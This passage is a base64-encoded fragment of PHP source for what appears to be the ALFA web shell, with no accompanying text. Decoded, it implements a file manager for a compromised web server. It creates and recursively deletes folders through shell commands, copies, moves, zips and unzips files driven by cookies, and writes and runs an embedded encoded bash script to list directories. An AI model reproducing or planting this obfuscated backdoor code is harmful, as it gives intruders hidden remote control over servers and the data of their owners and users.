kZmlsZVsnbmFtZSddKToiPz8/PyIpOwoJCSRmaWxlX2dyb3VwID0gJGdyWyduYW1lJ10/JGdyWyduYW1lJ106KGZ1bmN0aW9uX2V4aXN0cygiZmlsZWdyb3VwIik/QGZpbGVncm91cCgkZmlsZVsnbmFtZSddKToiPz8/PyIpOwoJCSRmaWxlX21vZGlmeSA9IEBkYXRlKCdZLW0tZCBIOmk6cycsIEBmaWxlbXRpbWUoJGZpbGVbJ25hbWUnXSkpOwoJCSRmaWxlX3Blcm0gPSBhbGZhUGVybXNDb2xvcigkZmlsZVsnbmFtZSddKTsKCQkkZmlsZV9zaXplID0gQGZpbGVzaXplKCRmaWxlWyduYW1lJ10pOwoJCSRyZXRfZmlsZXNbXSA9IGFycmF5KCJuYW1lIiA9PiAkZmlsZVsnbmFtZSddLCAic2l6ZSIgPT4gYWxmYVNpemUoJGZpbGVfc2l6ZSksICJwZXJtIiA9PiAkZmlsZV9wZXJtLCAibW9kaWZ5IiA9PiAkZmlsZV9tb2RpZnksICJvd25lciIgPT4gJGZpbGVfb3duZXIuIi8iLiRmaWxlX2dyb3VwKTsKCX0KfQp9CmlmKCEkbW92ZV9jbWRfZmlsZSl7CgllY2hvIGpzb25fZW5jb2RlKCRyZXRfZmlsZXMpOwp9Cn1lbHNlewoJZWNobyAibm9wZXJtIjsKCXJldHVybjsKfQppZighJG1vdmVfY21kX2ZpbGUpewpyZXR1cm47Cn0KYnJlYWs7CmNhc2UgJ21rZGlyJzoKJG5ld19kaXJfY21kID0gZmFsc2U7CmlmKCRHTE9CQUxTWydnbG9iX2NoZGlyX2ZhbHNlJ10pewoJaWYoX2FsZmFfY2FuX3J1bkNvbW1hbmQodHJ1ZSx0cnVlKSl7CgkJaWYoX2FsZmFfaXNfd3JpdGFibGUoJEdMT0JBTFNbJ2N3ZCddKSl7CgkJCWlmKCFfYWxmYV9pc19kaXIodHJpbSgkX1BPU1RbJ2FsZmEyJ10pKSl7CgkJCQlhbGZhRXgoImNkICciLnRyaW0oYWRkc2xhc2hlcygkX1BPU1RbJ2MnXSkpLiInO21rZGlyICciLnRyaW0oYWRkc2xhc2hlcygkX1BPU1RbJ2FsZmEyJ10pKS4iJyIpOwoJCQkJZWNobyAiPHNjcmlwdD5hbGZhU2hvd05vdGlmaWNhdGlvbignIi5hZGRzbGFzaGVzKCRfUE9TVFsnYWxmYTInXSkuIiBjcmVhdGVkLi4uJywgJ0ZpbGVzIG1hbmFnZXInKTs8L3NjcmlwdD4iOwoJCQl9ZWxzZXsKCQkJCWVjaG8gIjxzY3JpcHQ+YWxmYVNob3dOb3RpZmljYXRpb24oJ2ZvbGRlciBhbHJlYWR5IGV4aXN0ZWQnLCAnRmlsZXMgbWFuYWdlcicsICdlcnJvcicpOzwvc2NyaXB0PiI7CgkJCX0KCQl9ZWxzZXsKCQkJZWNobyAiPHNjcmlwdD5hbGZhU2hvd05vdGlmaWNhdGlvbignZm9sZGVyIGlzbnQgd3JpdGFibGUgIScsICdGaWxlcyBtYW5hZ2VyJywgJ2Vycm9yJyk7PC9zY3JpcHQ+IjsKCQl9Cgl9ZWxzZXsKCQllY2hvICI8c2NyaXB0PmFsZmFTaG93Tm90aWZpY2F0aW9uKCdDYW5cJ3QgY3JlYXRlIG5ldyBkaXIgIScsICdGaWxlcyBtYW5hZ2VyJywgJ2Vycm9yJyk7PC9zY3JpcHQ+IjsKCX0KfWVsc2V7CglpZihfYWxmYV9pc193cml0YWJsZSgkR0xPQkFMU1snY3dkJ10pKXsKCQlpZighX2FsZmFfaXNfZGlyKHRyaW0oJF9QT1NUWydhbGZhMiddKSkpewoJCQlpZighQG1rZGlyKHRyaW0oJF9QT1NUWydhbGZhMiddKSkpewoJCQkJZWNobyAiPHNjcmlwdD5hbGZhU2hvd05vdGlmaWNhdGlvbignQ2FuXCd0IGNyZWF0ZSBuZXcgZGlyICEnLCAnRmlsZXMgbWFuYWdlcicsICdlcnJvcicpOzwvc2NyaXB0PiI7CgkJCX1lbHNlewoJCQkJZWNobyAiPHNjcmlwdD5hbGZhU2hvd05vdGlmaWNhdGlvbignIi5hZGRzbGFzaGVzKCRfUE9TVFsnYWxmYTInXSkuIiBjcmVhdGVkLi4uJywgJ0ZpbGVzIG1hbmFnZXInKTs8L3NjcmlwdD4iOwoJCQl9CgkJfWVsc2V7CgkJCWVjaG8gIjxzY3JpcHQ+YWxmYVNob3dOb3RpZmljYXRpb24oJ2ZvbGRlciBhbHJlYWR5IGV4aXN0ZWQnLCAnRmlsZXMgbWFuYWdlcicsICdlcnJvcicpOzwvc2NyaXB0PiI7CgkJfQoJfWVsc2V7CgkJZWNobyAiPHNjcmlwdD5hbGZhU2hvd05vdGlmaWNhdGlvbignZm9sZGVyIGlzbnQgd3JpdGFibGUgIScsICdGaWxlcyBtYW5hZ2VyJywgJ2Vycm9yJyk7PC9zY3JpcHQ+IjsKCX0KfQpicmVhazsKY2FzZSAnZGVsZXRlJzoKZnVuY3Rpb24gZGVsZXRlRGlyKCRwYXRoKXsKJHBhdGggPSAoc3Vic3RyKCRwYXRoLC0xKT09Jy8nKSA/ICRwYXRoOiRwYXRoLicvJzsKJGRoID0gQG9wZW5kaXIoJHBhdGgpOwp3aGlsZSgoJGl0ZW0gPSBAcmVhZGRpcigkZGgpKSAhPT0gZmFsc2UpewokaXRlbSA9ICRwYXRoLiRpdGVtOwppZigoYmFzZW5hbWUoJGl0ZW0pID09ICIuLiIpIHx8IChiYXNlbmFtZSgkaXRlbSkgPT0gIi4iKSkKY29udGludWU7CiR0eXBlID0gQGZpbGV0eXBlKCRpdGVtKTsKaWYgKCR0eXBlID09ICJkaXIiKQpkZWxldGVEaXIoJGl0ZW0pOwplbHNlCkB1bmxpbmsoJGl0ZW0pOwp9CkBjbG9zZWRpcigkZGgpOwpAcm1kaXIoJHBhdGgpOwp9CmlmKGlzX2FycmF5KEAkX1BPU1RbJ2YnXSkpCmZvcmVhY2goJF9QT1NUWydmJ10gYXMgJGYpewppZigkZiA9PSAnLi4nKQpjb250aW51ZTsKJGYgPSByYXd1cmxkZWNvZGUoJGYpOwppZigkR0xPQkFMU1siZ2xvYl9jaGRpcl9mYWxzZSJdKXsKCWlmKF9hbGZhX2Nhbl9ydW5Db21tYW5kKHRydWUsdHJ1ZSkpewoJCWFsZmFFeCgicm0gLXJmICciLmFkZHNsYXNoZXMoJF9QT1NUWydjJ10uJy8nLiRmKS4iJyIpOwoJfQp9ZWxzZXsKYWxmYUV4KCJybSAtcmYgJyIuYWRkc2xhc2hlcygkZikuIiciLGZhbHNlLGZhbHNlKTsKaWYoQGlzX2RpcigkZikpCmRlbGV0ZURpcigkZik7CmVsc2UKQHVubGluaygkZik7Cn0KfQppZihAaXNfZGlyKHJhd3VybGRlY29kZShAJF9QT1NUWydhbGZhMiddKSkmJnJhd3VybGRlY29kZShAJF9QT1NUWydhbGZhMiddKSE9Jy4uJyl7CmRlbGV0ZURpcihyYXd1cmxkZWNvZGUoQCRfUE9TVFsnYWxmYTInXSkpOwphbGZhRXgoInJtIC1yZiAnIi5hZGRzbGFzaGVzKCRfUE9TVFsnYWxmYTInXSkuIiciLGZhbHNlLGZhbHNlKTsKfWVsc2V7CkB1bmxpbmsocmF3dXJsZGVjb2RlKEAkX1BPU1RbJ2FsZmEyJ10pKTsKfQppZigkR0xPQkFMU1siZ2xvYl9jaGRpcl9mYWxzZSJdKXsKCSRzb3VyY2UgPSByYXd1cmxkZWNvZGUoQCRfUE9TVFsnYWxmYTInXSk7CglpZigkc291cmNlIT0nLi4nJiYhZW1wdHkoJHNvdXJjZSkpewoJCWlmKF9hbGZhX2Nhbl9ydW5Db21tYW5kKHRydWUsdHJ1ZSkpewoJCQlhbGZhRXgoImNkICciLnRyaW0oYWRkc2xhc2hlcygkX1BPU1RbJ2MnXSkpLiInO3JtIC1yZiAnIi5hZGRzbGFzaGVzKCRzb3VyY2UpLiInIik7CgkJfQoJfQp9CmlmKGlzX2FycmF5KCRfUE9TVFsnZiddKSkKcmV0dXJuOwpicmVhazsKY2FzZSAncGFzdGUnOgppZigkX0NPT0tJRVsnYWxmYV9hY3QnXSA9PSAnY29weScmJmlzc2V0KCRfQ09PS0lFWydhbGZhX2YnXSkpewpmb3JlYWNoKCRfQ09PS0lFWydhbGZhX2YnXSBhcyAkZikKY29weV9wYXN0ZSgkX0NPT0tJRVsnYWxmYV9jJ10sJGYsICRHTE9CQUxTWydjd2QnXSk7Cn1lbHNlaWYoJF9DT09LSUVbJ2FsZmFfYWN0J10gPT0gJ21vdmUnJiZpc3NldCgkX0NPT0tJRVsnYWxmYV9mJ10pKXsKZnVuY3Rpb24gbW92ZV9wYXN0ZSgkYywkcywkZCl7CmlmKEBpc19kaXIoJGMuJHMpKXsKQG1rZGlyKCRkLiRzKTsKJGggPSBAb3BlbmRpcigkYy4kcyk7CndoaWxlICgoJGYgPSBAcmVhZGRpcigkaCkpICE9PSBmYWxzZSkKaWYoKCRmICE9ICIuIikgYW5kICgkZiAhPSAiLi4iKSkKY29weV9wYXN0ZSgkYy4kcy4nLycsJGYsICRkLiRzLicvJyk7Cn1lbHNlaWYoQGlzX2ZpbGUoJGMuJHMpKQpAY29weSgkYy4kcywgJGQuJHMpOwp9CmZvcmVhY2goJF9DT09LSUVbJ2FsZmFfZiddIGFzICRmKQpAcmVuYW1lKCRfQ09PS0lFWydhbGZhX2MnXS4kZiwgJEdMT0JBTFNbJ2N3ZCddLiRmKTsKfWVsc2VpZigkX0NPT0tJRVsnYWxmYV9hY3QnXSA9PSAnemlwJyYmaXNzZXQoJF9DT09LSUVbJ2FsZmFfZiddKSl7CmlmKGNsYXNzX2V4aXN0cygnWmlwQXJjaGl2ZScpKXsKJHppcCA9IG5ldyBaaXBBcmNoaXZlKCk7CiR6aXBYID0gImFsZmFfIi5yYW5kKDEsMTAwMCkuIi56aXAiOwppZigkemlwLT5vcGVuKCR6aXBYLCAxKSl7CkBjaGRpcigkX0NPT0tJRVsnYWxmYV9jJ10pOwpmb3JlYWNoKCRfQ09PS0lFWydhbGZhX2YnXSBhcyAkZil7CmlmKCRmID09ICcuLicpY29udGludWU7CmlmKEBpc19maWxlKCRfQ09PS0lFWydhbGZhX2MnXS4kZikpCiR6aXAtPmFkZEZpbGUoJF9DT09LSUVbJ2FsZmFfYyddLiRmLCAkZik7CmVsc2VpZihAaXNfZGlyKCRfQ09PS0lFWydhbGZhX2MnXS4kZikpewokaXRlcmF0b3IgPSBuZXcgUmVjdXJzaXZlSXRlcmF0b3JJdGVyYXRvcihuZXcgUmVjdXJzaXZlRGlyZWN0b3J5SXRlcmF0b3IoJGYuJy8nKSk7CmZvcmVhY2goJGl0ZXJhdG9yIGFzICRrZXk9PiR2YWx1ZSl7CiRrZXkgPSBzdHJfcmVwbGFjZSgnXFwnLCcvJyxyZWFscGF0aCgka2V5KSk7CmlmKEBpc19kaXIoJGtleSkpewppZihpbl9hcnJheShzdWJzdHIoJGtleSwgc3RycnBvcygka2V5LCcvJykrMSksYXJyYXkoJy4nLCAnLi4nKSkpY29udGludWU7Cn1lbHNleyR6aXAtPmFkZEZpbGUoJGtleSwka2V5KTt9fX19CkBjaGRpcigkR0xPQkFMU1snY3dkJ10pOwokemlwLT5jbG9zZSgpOwpfX2FsZXJ0KCc+PiAnLiR6aXBYLicgPDwgaXMgY3JlYXRlZC4uLicpO319Cn1lbHNlaWYoJF9DT09LSUVbJ2FsZmFfYWN0J10gPT0gJ3VuemlwJyYmaXNzZXQoJF9DT09LSUVbJ2FsZmFfZiddKSl7CmlmKGNsYXNzX2V4aXN0cygnWmlwQXJjaGl2ZScpKXsKJHppcCA9IG5ldyBaaXBBcmNoaXZlKCk7CmZvcmVhY2goJF9DT09LSUVbJ2FsZmFfZiddIGFzICRmKSB7CmlmKCR6aXAtPm9wZW4oJF9DT09LSUVbJ2FsZmFfYyddLiRmKSl7CiR6aXAtPmV4dHJhY3RUbygkX0NPT0tJRVsnYWxmYV9jd2QnXSk7CiR6aXAtPmNsb3NlKCk7fX19fQp1bnNldCgkX0NPT0tJRVsnYWxmYV9mJ10pOwpicmVhazsKZGVmYXVsdDoKaWYoIWVtcHR5KCRfUE9TVFsnYWxmYTEnXSkpewppZihpbl9hcnJheSgkX1BPU1RbJ2FsZmExJ10sIGFycmF5KCJjb3B5IiwgIm1vdmUiLCAiemlwIiwgInVuemlwIikpKXsKX19hbGZhX3NldF9jb29raWUoJ2FsZmFfYWN0JywgQCRfUE9TVFsnYWxmYTEnXSk7Cl9fYWxmYV9zZXRfY29va2llKCdhbGZhX2YnLCBAc2VyaWFsaXplKCRfUE9TVFsnZiddKSk7Cl9fYWxmYV9zZXRfY29va2llKCdhbGZhX2MnLCBAJF9QT1NUWydjJ10pOwpyZXR1cm47Cn0KfQpicmVhazsKfQp9CiRkaXJDb250ZW50ID0gQHNjYW5kaXIoaXNzZXQoJF9QT1NUWydjJ10pPyRfUE9TVFsnYyddOiRHTE9CQUxTWydjd2QnXSk7CmlmKHByZWdfbWF0Y2goIiMoLiopXC9cLlwuIyIsICRfUE9TVFsnYyddLCAkcmVzKSl7CgkkcGF0aCA9IGV4cGxvZGUoJy8nLCAkcmVzWzFdKTsKCWFycmF5X3BvcCgkcGF0aCk7CgkkX1BPU1RbJ2MnXSA9IGltcGxvZGUoJy8nLCAkcGF0aCk7Cn0KJGNtZF9kaXIgPSBmYWxzZTsKaWYoJGRpckNvbnRlbnQgPT09IGZhbHNlKXsKCWlmKF9hbGZhX2Nhbl9ydW5Db21tYW5kKHRydWUsdHJ1ZSkpewoJCSR0bXBfZ2V0ZGlyX3BhdGggPSBAJF9DT09LSUVbImFsZmFjaGRpcl9iYXNoX3BhdGgiXTsKCQlAY2hkaXIoZGlybmFtZSgkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0pKTsKCQlpZighaXNzZXQoJF9DT09LSUVbImFsZmFjaGRpcl9iYXNoIl0pfHxAIWZpbGVfZXhpc3RzKCR0bXBfZ2V0ZGlyX3BhdGguIi9hbGZhY2dpYXBpL2dldGRpci5hbGZhIikpewoJCQkkYmFzaCA9ICJqWlRmYjVzd0VNZWY0YSs0dWFZa1NtbVMvWXBFd3NPa3FWTmZPKzFoU3FLS2dnbld3STRNRWFGcHBMM3Z2OXhmVXRzWVNLcE1XaDZJNy9POU85dmNIVmZ2eHJ0Q2pKOG9HeGVwL2ZYK0ljQlQrLzd1ZTREZEZYTnRFcVVjMEJMWkNSZEFnVExBZzZ3QUx3UXNmWWR6aUxrTjhyY055elJBaW8weFJSclJCSlpMd0JTQ0FORHRMWUxyYS9EMk1yNUthWlNDSUdHY1VmWnJDT3YxSE1xVU1CM1ZKY09EMWdPOEJMQml3ODZEQmhwb082RzJSVm5DWlVSUmhpVjRFU0Ruem5kKytNNDMzeWw4NTZjL2NVTGYrWUxhTEphNm4rdTcrZ3pnQ1hXZFVJaXdoc1ZpQVFpcmJNaTJ5bnBMQW56UXluS3lQdXJkZU1XSTZPalUwSTNndTIxSDMwdHFGZlM1ai82Z1NNNWptdFFkKzJoaXQwVGtiSmQzL05NSlQzZDV5RHJsczFFWXFSNTcxWFdiMXlBTE5CZ0FwY0ZrTHA4TGZManFmSTZLakVZdzdBdjJKc3RJRnUvUVdUNm0xSjhlLy83KzA1UXk1b3k4UGROWnVLeEFVMjF6R1YzenlYUTJtNkcrdkpiVlhoVk5sR0pBa3cvRlFtNVg3ZVZEVlBLeEY1VjAwTFhWbWIxS0ZrYVZUeVZVcmFTWU9HRm5tMFE4NHlKQWVValo0MFlRd3ZSUlpVS1NtWFQvRlNvN3RTUjlhRUV1K0FnU3R4NzlhYkhxSGYwU1lpcElWSEpSbjIya1cwdHBKMGZxWXdUWjdMSlF5TTdPaUw3dXk4dGxCNUp2eS9yZmJrV2RQL0dNUnFDbTZNTCtPckE1dHA3end3cXhNQ2NyNU1OS1RzRUszY2gvNVdwSXMxUlFUNEdoWnEyd0hnT0R6VnBoTlFxR05rc0ZtMmt3dURXVVlKckVLSjNWU3JwZFRrUmp0N0l1ellsczdPT05yWnU0K1o0ZGptdjBDZz09IjsKCQkJJHRtcF9nZXRkaXJfcGF0aCA9IGFsZmFXcml0ZVRvY2dpYXBpKCJnZXRkaXIuYWxmYSIsJGJhc2gpOwoJCQlfX2FsZmFfc2V0X2Nvb2tpZSgiYWxmYWNoZGlyX2Jhc2giLCAidHJ1ZSIpOwoJCQlfX2FsZmFfc2V0X2Nvb2tpZSgiYWxmYWNoZGlyX2Jhc2hfcGF0aCIsICR0bXBfZ2V0ZGlyX3BhdGgpOwoJCX0KCQkkZGlyQ29udGVudCA9IGFsZmFFeCgiY2QgIi4kdG1wX2dldGRpcl9wYXRoLiIvYWxmYWNnaWFwaTtzaCBnZXRkaXIuYWxmYSAnIi5hZGRzbGFzaGVzKGlzc2V0KCRfUE9TVFsnYyddKT8kX1BPU1RbJ2MnXTokR0xPQkFMU1snY3dkJ10pLiInIik7CgkJJGRpckNvbnRlbnQgPSBqc29uX2RlY29kZSgkZGlyQ29udGVudCwgdHJ1ZSk7CgkJaWYoaXNfYXJyYXkoJGRpckNvbnRlbnQpKXsKCQkJYXJyYXlfcG9wKCRkaXJDb250ZW50KTsKCQkJJGNtZF9kaXIgPSB0cnVlOwoJCX1lbHNlewoJCQkkZGlyQ29udGVudCA9IGZhbHNlOwoJCX0KCX0KfQphbGZhaGVhZCgpOwpBbGZhTnVtKDgsOSwxMCw3LDYsNSw0KTsKJGNvdW50X2RpckNvbnRlbnQgPSBAY291bnQoJGRpckNvbnRlbnQpOwppZigkY291bnRfZGlyQ29udGVudCA+IDMwMCl7CglAJF9DT09LSUVbImFsZmFfbGltaXRlZF9maWxlcyJdID0gMTAwOwp9CiRhbGZhX3NvcnRfYnkgPSBpc3NldCgkX0NPT0tJRVsiYWxmYV9zb3J0X2J5Il0pID8gJF9DT09LSUVbImFsZmFfc29ydF9ieSJdIDogJ25hbWUnOwokYWxmYV9saW1pdGVkX2ZpbGVzID0gaXNzZXQoJF9DT09LSUVbImFsZmFfbGltaXRlZF9maWxlcyJdKSA/IChpbnQpJF9DT09LSUVbImFsZmFfbGltaXRlZF9maWxlcyJdIDogMDsKJGFsZmFfZmlsZXNfcGFnZV9udW1iZXIgPSBpc3NldCgkX1BPU1RbInBhZ2VudW0iXSkgPyAoaW50KSRfUE9TVFsicGFnZW51bSJdIDogMTsKJGFsZmFfZmlsZXNtYW5fZGlyZWN0aW9uID0gaXNzZXQoJF9DT09LSUVbImFsZmFfZmlsZXNtYW5fZGlyZWN0aW9uIl0pID8gJF9DT09LSUVbImFsZmFfZmlsZXNtYW5fZGlyZWN0aW9uIl0gOiAnYXNjJzsKJGZpbGVzX3BhZ2VfY291bnQgPSAxOwppZigkYWxmYV9saW1pdGVkX2ZpbGVzID4gMCl7CgkkZmlsZXNfcGFnZV9jb3VudCA9IGNlaWwoJGNvdW50X2RpckNvbnRlbnQvJGFsZmFfbGltaXRlZF9maWxlcyk7CglpZigkZmlsZXNfcGFnZV9jb3VudCA+IDEpewoJCSRmaWxlc19wYWdlX2NvdW50Kys7Cgl9Cn0KZWNobyAnPGRpdj48ZGl2IGNsYXNzPSJmaWx0ZXJzLWhvbGRlciI+PHNwYW4+RmlsdGVyOiA8L3NwYW4+PGlucHV0IHN0eWxlPSJjb2xvcjojMjVmZjAwOyIgYXV0b2NvbXBsZXRlPSJvZmYiIHR5cGU9InRleHQiIGlkPSJyZWdleC1maWx0ZXIiIG5hbWU9Im5hbWUtZmlsdGVyIiBvbmtleWRvd249ImRvRmlsdGVyTmFtZSh0aGlzKTsiPjxzcGFuIHN0eWxlPSJtYXJnaW4tbGVmdDoxMHB4Ij5Tb3J0IEJ5OiA8L3NwYW4+PHNlbGVjdCBuYW1lPSJzb3J0X2ZpbGVzIiBvbmNoYW5nZT0ic29ydEJ5U2VsZWN0ZWRWYWx1ZSh0aGlzLFwnYWxmYV9zb3J0X2J5XCcpOyIgc3R5bGU9ImNvbG9yOiMyNWZmMDA7Ij48b3B0aW9uIHZhbHVlPSJuYW1lIiAnLigkYWxmYV9zb3J0X2J5ID09ICduYW1lJz8nc2VsZWN0ZWQnOicnKS4nPk5hbWU8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJzaXplIiAnLigkYWxmYV9zb3J0X2J5ID09ICdzaXplJz8nc2VsZWN0ZWQnOicnKS4nPlNpemU8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJtb2RpZnkiICcuKCRhbGZhX3NvcnRfYnkgPT0gJ21vZGlmeSc/J3NlbGVjdGVkJzonJykuJz5Nb2RpZnk8L29wdGlvbj48L3NlbGVjdD48c3BhbiBzdHlsZT0ibWFyZ2luLWxlZnQ6MTBweCI+RGlyZWN0aW9uOiA8L3NwYW4+PHNlbGVjdCBuYW1lPSJkaXJlY3Rpb25fZmlsZXNtYW4iIG9uQ2hhbmdlPSJzb3J0QnlTZWxlY3RlZFZhbHVlKHRoaXMsXCdhbGZhX2ZpbGVzbWFuX2RpcmVjdGlvblwnKSIgc3R5bGU9ImNvbG9yOiMyNWZmMDA7Ij48b3B0aW9uIHZhbHVlPSJhc2MiICcuKCRhbGZhX2ZpbGVzbWFuX2RpcmVjdGlvbiA9PSAnYXNjJz8nc2VsZWN0ZWQnOicnKS4nPkFzY2VuZGluZzwvb3B0aW9uPjxvcHRpb24gdmFsdWU9ImRlc2MiICcuKCRhbGZhX2ZpbGVzbWFuX2RpcmVjdGlvbiA9PSAnZGVzYyc/J3NlbGVjdGVkJzonJykuJz5EZXNjZW5kaW5nPC9vcHRpb24+PC9zZWxlY3Q+PHNwYW4gc3R5bGU9Im1hcmdpbi1sZWZ0OjEwcHg7Ij4gbGltaXQ6IDwvc3Bhbj48aW5wdXQgc3R5bGU9InRleHQtYWxpZ246Y2VudGVyO3dpZHRoOiA0MHB4O2NvbG9yOiMyNWZmMDA7IiB0eXBlPSJ0ZXh0IiBuYW1lPSJsaW1pdGVkX251bWJlciIgdmFsdWU9IicuJGFsZmFfbGltaXRlZF9maWxlcy4nIiBvbmlucHV0PSJ0aGlzLnZhbHVlPXRoaXMudmFsdWUucmVwbGFjZSgvW14wLTldL2csXCdcJyk7c2V0Q29va2llKFwnYWxmYV9saW1pdGVkX2ZpbGVzXCcsIHRoaXMudmFsdWUsIDIwMTIpOyI+PHNwYW4gc3R5bGU9Im1hcmdpbi1sZWZ0OjEwcHg7Ij5GaWxlcyBDb3VudDogPGIgc3R5bGU9ImNvbG9yOiMyNWZmMDA7Ij4nLigkY291bnRfZGlyQ29udGVudC0xKS4nPC9iPjwvc3Bhbj48L2Rpdj48ZGl2IGNsYXNzPSJoZWFkZXIiPic7CmlmKCRkaXJDb250ZW50ID09IGZhbHNlKXsKZWNobyAnPGNlbnRlcj48YnI+PHNwYW4gc3R5bGU9ImZvbnQtc2l6ZToxNnB4OyI+PHNwYW4gc3R5bGU9ImNvbG9yOiByZWQ7IC13ZWJraXQtdGV4dC1zaGFkb3c6IDFweCAxcHggMTNweDsiPjxzdHJvbmc+PGI+PGJpZz4hISEgQWNjZXNzIERlbmllZCAhISE8L2I+PC9iaWc+PGJyPjxicj48L3N0cm9uZz48L2Rpdj4nOwphbGZhRm9vdGVyKCk7CnJldHVybjsKfQpnbG9iYWwgJHNvcnQ7CiRzb3J0ID0gYXJyYXkoJ25hbWUnLCAxKTsKaWYoaXNzZXQoJF9DT09LSUVbImFsZmFfc29ydF9ieSJdKSAmJiAhZW1wdHkoJF9DT09LSUVbImFsZmFfc29ydF9ieSJdKSl7Cgkkc29ydFswXSA9ICRfQ09PS0lFWyJhbGZhX3NvcnRfYnkiXTsKfQppZighZW1wdHkoJF9QT1NUWydhbGZhMSddKSkgewppZihwcmVnX21hdGNoKCchc18oW0Etel0rKV8oXGR7MX0pIScsICRfUE9TVFsnYWxmYTEnXSwgJG1hdGNoKSkKJHNvcnQgPSBhcnJheSgkbWF0Y2hbMV0sIChpbnQpJG1hdGNoWzJdKTsKfQppZigkYWxmYV9maWxlc19wYWdlX251bWJlciA+ICgkZmlsZXNfcGFnZV9jb3VudC0xKSl7CgkkYWxmYV9maWxlc19wYWdlX251bWJlciA9IDE7Cn0KJGNoZWNrYm94X3JhbmQgPSByYW5kKDExMTExLCA5OTk5OSk7CmVjaG8gIjxmb3JtIG9uc3VibWl0PSdmYyh0aGlzKTtyZXR1cm4gZmFsc2U7JyBuYW1lPSdmaWxlcycgbWV0aG9kPSdwb3N0Jz48dGFibGUgaWQ9J2ZpbGVtYW5hZ2VyX3RhYmxlJyB3aWR0aD0nMTAwJScgY2xhc3M9J21haW4nIGNlbGxzcGFjaW5nPScwJyBjZWxscGFkZGluZz0nMic+PHRyPjx0aCB3aWR0aD0nMTNweCc+PGRpdiBjbGFzcz0nbXlDaGVja2JveCcgc3R5bGU9J3BhZGRpbmctbGVmdDowcHg7Jz48aW5wdXQgdHlwZT0nY2hlY2tib3gnIGlkPSdtY2hrIi4kY2hlY2tib3hfcmFuZC4iJyBvbmNsaWNrPSdjaGVja0JveCh0aGlzKTsnIGNsYXNzPSdjaGtieCc+PGxhYmVsIGZvcj0nbWNoayIuJGNoZWNrYm94X3JhbmQuIic+PC9sYWJlbD48L2Rpdj48L3RoPjx0aD5OYW1lPC90aD48dGg+U2l6ZTwvdGg+PHRoPk1vZGlmeTwvdGg+PHRoPk93bmVyL0dyb3VwPC90aD48dGg+UGVybWlzc2lvbnM8L3RoPjx0aD5BY3Rpb25zPC90aD48L3RyPiI7CiRkaXJzID0gJGZpbGVzID0gYXJyYXkoKTsKJG4gPSAkY291bnRfZGlyQ29udGVudDsKaWYoJG4gPiAkYWxmYV9saW1pdGVkX2ZpbGVzICYmICRhbGZhX2xpbWl0ZWRfZmlsZXMgPiAwKXsKCSRuID0gKCRhbGZhX2xpbWl0ZWRfZmlsZXMgKiAkYWxmYV9maWxlc19wYWdlX251bWJlcik7CglpZigkbiA+ICRjb3VudF9kaXJDb250ZW50KXsKCQkkbiA9ICRjb3VudF9kaXJDb250ZW50OwoJfQp9CiRpID0gMDsKaWYoJGFsZmFfbGltaXRlZF9maWxlcyA+IDAgJiYgJGFsZmFfZmlsZXNfcGFnZV9udW1iZXIgPiAxKXsKCSRpID0gJGFsZmFfbGltaXRlZF9maWxlcyAqICgkYWxmYV9maWxlc19wYWdlX251bWJlciAtIDEpOwp9CiRwYWdlX2J1aWxkZXIgPSBnZXRfcGFnaW5hdGlvbl9saW5rcygkYWxmYV9maWxlc19wYWdlX251bWJlciwkZmlsZXNfcGFnZV9jb3VudCAtMSk7CiRjbWRfZGlyX2JhY2twID0gIiI7CmZvcig7JGk8JG47JGkrKyl7CmlmKCRjbWRfZGlyKXsKJGZpbGVuYW1lID0gJGRpckNvbnRlbnRbJGldWyJuYW1lIl07CiRmaWxlX293bmVyID0gJGRpckNvbnRlbnRbJGldWyJvd25lciJdOwokZmlsZV9ncm91cCA9ICRkaXJDb250ZW50WyRpXVsiZ3JvdXAiXTsKJGZpbGVfbW9kaWZ5ID0gQGRhdGUoJ1ktbS1kIEg6aTpzJywgJGRpckNvbnRlbnRbJGldWyJtb2RpZnkiXSk7CiRmaWxlX3Blcm0gPSBhbGZhUGVybXNDb2xvcihhcnJheSgiY2xhc3MiPT4kZGlyQ29udGVudFskaV1bInBlcm1jb2xvciJdLCJudW0iPT4kZGlyQ29udGVudFskaV1bInBlcm1udW0iXSwiaHVtYW4iPT4kZGlyQ29udGVudFskaV1bInBlcm1odW1hbiJdKSx0cnVlKTsKJGZpbGVfc2l6ZSA9ICRkaXJDb250ZW50WyRpXVsic2l6ZSJdOwppZihzdWJzdHIoJGRpckNvbnRlbnRbJGldWyJuYW1lIl0sIDAgLDEpID09ICIvIil7CiRmaWxlX3BhdGggPSAkZGlyQ29udGVudFskaV1bIm5hbWUiXTsKJGRpckNvbnRlbnRbJGldWyJuYW1lIl0gPSAiLi4iOwokZmlsZW5hbWUgPSAkZGlyQ29udGVudFskaV1bIm5hbWUiXTsKfWVsc2V7CiRmaWxlX3BhdGggPSAkR0xPQkFMU1snY3dkJ10uIi8iLiRkaXJDb250ZW50WyRpXVsibmFtZSJdOwp9Cn1lbHNlewokZmlsZW5hbWUgPSAkZGlyQ29udGVudFskaV07CiRvdyA9IGZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0cHd1aWQiKSYmZnVuY3Rpb25fZXhpc3RzKCJmaWxlb3duZXIiKT9AcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcigkR0xPQkFMU1snY3dkJ10uJGZpbGVuYW1lKSk6YXJyYXkoIm5hbWUiID0+ICI/Pz8/Iik7CiRnciA9IGZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0Z3JnaWQiKSYmZnVuY3Rpb25fZXhpc3RzKCJmaWxlZ3JvdXAiKT9AcG9zaXhfZ2V0Z3JnaWQoQGZpbGVncm91cCgkR0xPQkFMU1snY3dkJ10uJGZpbGVuYW1lKSk6YXJyYXkoIm5hbWUiID0+ICI/Pz8/Iik7CiRmaWxlX293bmVyID0gJG93WyduYW1lJ10/JG93WyduYW1lJ106KGZ1bmN0aW9uX2V4aXN0cygiZmlsZW93bmVyIik/QGZpbGVvd25lcigkR0xPQkFMU1snY3dkJ10uJGZpbGVuYW1lKToiPz8/PyIpOwokZmlsZV9ncm91cCA9ICRnclsnbmFtZSddPyRnclsnbmFtZSddOihmdW5jdGlvbl9leGlzdHMoImZpbGVncm91cCIpP0BmaWxlZ3JvdXAoJEdMT0JBTFNbJ2N3ZCddLiRmaWxlbmFtZSk6Ij8/Pz8iKTsKJGZpbGVfbW9kaWZ5ID0gQGRhdGUoJ1ktbS1kIEg6aTpzJywgQGZpbGVtdGlt